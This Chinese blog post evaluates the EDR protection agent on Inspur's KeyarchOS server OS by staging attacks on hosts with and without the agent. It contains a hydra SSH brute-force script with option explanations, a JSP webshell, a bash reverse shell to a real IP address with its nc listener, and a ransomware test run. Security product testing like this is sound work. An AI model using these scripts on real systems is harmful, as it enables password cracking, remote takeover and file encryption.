前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >浪潮信息KeyarchOS EDR 安全防护测评

浪潮信息KeyarchOS EDR 安全防护测评

作者头像
拿我格子衫来
发布2023-12-06 15:24:18
2300
发布2023-12-06 15:24:18
举报
文章被收录于专栏:TopFETopFE

背景

近几年服务器安全防护越来越受到企业的重视,企业在选购时不再仅仅看重成本,还更看重安全性,因为一旦数据泄露,被暴力破解,将对公司业务造成毁灭性打击。鉴于人们对服务器安全性的看重,本篇文章就来测评一下市场上一款非常畅销的服务器操作系统——浪潮信息服务器操作系统云峦KeyarchOS。

环境准备

在本次测评中,我们使用三台已经安装了KeyarchOS系统的机器(以下简称KOS主机),由于KOS的防护功能需要安装EDR安全工具(通过安装在KOS主机上的本地客户端(Agent)与管理中心联动,提供病毒木马、勒索软件、暴力破解等攻击的查杀防护功能,防御未知程序运行和关键业务文件篡改),我们的机器配置如下:

3台安装了KOS系统的服务器

编号

设备名称

备注

A

KOS主机

安装EDR agent

B

KOS主机

未安装EDR agent

C

EDR管理中心

未安装EDR agent

另外在攻防演示时需要的病毒文件及程序也已经提前安装好了。下文会详细介绍。

下面进入第一个真实的业务场景。

基于暴力破解的横向渗透防护

在暴力破解中,攻击人员经常会使用一些工具来扫描,攻击我们的服务器了。使用这工具进行扫描漏洞,使用字典不断试出密码。

下面看一下KOS在防护hydra暴力破解工具方面的表现。

我们在B主机安装要使用 hydra工具,并编写用于攻击的脚本 hydra.sh。

该脚本将会攻击我们的主机A(安装了EDR ) 和主机C(未安装EDR )。

其中hydra.sh代码如下:

代码语言:javascript
复制
#!/bin/bashcd /usr

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机C IP]

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机A IP]

以上的命令是使用 hydra 工具进行 SSH 密码破解。下面是命令中各选项的详细解释:

hydra: 这是要使用的工具,hydra 是一个开源的、命令行下的多线程密码破解工具,可以用来破解各种服务的密码,包括 SSH、FTP、HTTP 等。

-l root: 这表示使用 “root” 作为用户名进行尝试。你可以替换 “root” 为任何你想要尝试的用户名。

-P pass_30.txt: 这表示使用 “pass_30.txt” 文件作为密码源。这个文件应该包含了你想要尝试的所有可能的密码。注意,这个文件需要在当前工作目录下,或者你需要提供完整的文件路径。

-t 4: 这表示使用 4 个线程进行破解。你可以根据需要增加或减少线程数。

-I ssh://[主机C IP] 这是你要破解的目标服务器的地址。在这个例子中,目标服务器是位于 IP 地址 [主机C IP] 的 SSH 服务。注意,在 IP 地址前需要加上 “ssh://”。

使用下面指令来运行该脚本 sh hydra.sh,以下为显示的日志

从日志中我们可以看到,主机B向主机A发起的破解,被拦截下来,这是因为主机A安装了EDR 。

反观未安装EDR 的主机C则被成功爆破,被破解了登录密码。

挖矿病毒防护

最近有一些人利用工具扫描服务器漏洞,利用扫描出的漏洞,上传文件,进行远程操作机器,我们熟知的挖矿病毒就是这样一类程序。

下面来演示一下,KOS在防范shell入侵的表现。

首先在主机A,主机B上准备好上传文件的程序。打开浏览器,访问 http://IP:8080/reverse/upload.html页面 这是一个上传文件的页面。如下图:

其中 upload.html内容如下:

代码语言:javascript
复制
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

<meta charset="utf-8">

<style>

.button {

        font-size: 13px;

        display: inline-block;

        font-weight: normal;

        text-align: center;

        vertical-align: middle;

        -ms-touch-action: manipulation;

        touch-action: manipulation;

        cursor: pointer;

        background-image: none;

        border-width: 1px;

        white-space: nowrap;

        font-size: 12px;

        height: 26px;

        line-height: 26px;

        padding: 0 10px;

        -webkit-user-select: none;

        -moz-user-select: none;

        -ms-user-select: none;

        user-select: none;

        background: #28a6fa;

        border-color: #28a6fa;

        width:60px;

}

.filese{

        height: 26px;

}

.fdiv{

        height:80px;

        color:white;

        width:100%;

}

.bodybg{

        width:100%;

        background-image:url("kosbgc.png");

}

.spant{

        font-size:30px;



}

.span1{

        color:white;

}

</style>



</head>

<body class="bodybg">

<div class="fdiv">

<span class="spant">文件交换系统</span>

</div>

 <form action="action.jsp" enctype="multipart/form-data" method="POST">

  <span class="span1">选择文件: </span><input class="filese" type="file" name="myfile" /> <input class="button"

   type="submit" value="提交" />

 </form>

</body>

</html>

通过这个入口上传两个文件 reverse.jsp 和 shell.sh

两个文件的内容如下:

reverse.jsp内容:

代码语言:javascript
复制
<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>



<%

  class StreamConnector extends Thread

  {

    InputStream wv;

    OutputStream ne;



    StreamConnector( InputStream wv, OutputStream ne )

    {

      this.wv = wv;

      this.ne = ne;

    }



    public void run()

    {

      BufferedReader qn  = null;

      BufferedWriter agw = null;

      try

      {

        qn  = new BufferedReader( new InputStreamReader( this.wv ) );

        agw = new BufferedWriter( new OutputStreamWriter( this.ne ) );

        char buffer[] = new char[8192];

        int length;

        while( ( length = qn.read( buffer, 0, buffer.length ) ) > 0 )

        {

          agw.write( buffer, 0, length );

          agw.flush();

        }

      } catch( Exception e ){}

      try

      {

        if( qn != null )

          qn.close();

        if( agw != null )

          agw.close();

      } catch( Exception e ){}

    }

  }



  try

  {

    String ShellPath = new String();

    ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh";

    Process process = Runtime.getRuntime().exec( ShellPath );

  } catch( Exception e ) {}

%>

shell.sh 内容

代码语言:javascript
复制
#!/bin/bash
bash -i >& /dev/tcp/43.140.202.127/8446 0>&1

在安装了EDR agent的机器A上,上传病毒文件,直接显示上传失败

下面看一下在未安装EDR agent的机器B上的表现。

在机器B上,能够直接上成功两个文件。

上成功后我们在测试靶机C使用nc -l -vv -p 8446命令监听8446端口

能够看到 主机B (未安装EDR)在测试靶机反弹成功,到了这一步,主机B已经执行了上传的shell.sh脚本。

勒索病毒防护

我们在机器A和机器B上分别执行勒索病毒脚本,该勒索病毒会加密我们的doc文件。

执行脚本install.sh

代码语言:javascript
复制
#!/bin/bash


./testransomware /opt/2csec/

我们使用加密病毒testransomware 来对某个文件夹下的doc文件进行加密。

在 主机B (未安装EDR) 执行结果

从日志上看,文件都以被加密完成。

查看/opt/2csec 文件夹。查看文件,发现文件扩展名都已被修改。

在 主机A (未安装EDR) 执行结果

会将进程杀死,并删除testransomware病毒

总结

以上就是针对浪潮信息KOS做的一些安防测评,模拟了最常见的暴力破解,漏洞上传,和勒索病毒的防控。

从大体上来讲在安装了EDR安全工具的KOS主机上,都能够准确无误地识别并拦截成功。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2023-12-05,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
主机安全
主机安全(Cloud Workload Protection,CWP)基于腾讯安全积累的海量威胁数据,利用机器学习为用户提供资产管理、木马文件查杀、黑客入侵防御、漏洞风险预警及安全基线等安全防护服务,帮助企业构建服务器安全防护体系。现支持用户非腾讯云服务器统一进行安全防护,轻松共享腾讯云端安全情报,让私有数据中心拥有云上同等级别的安全体验。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档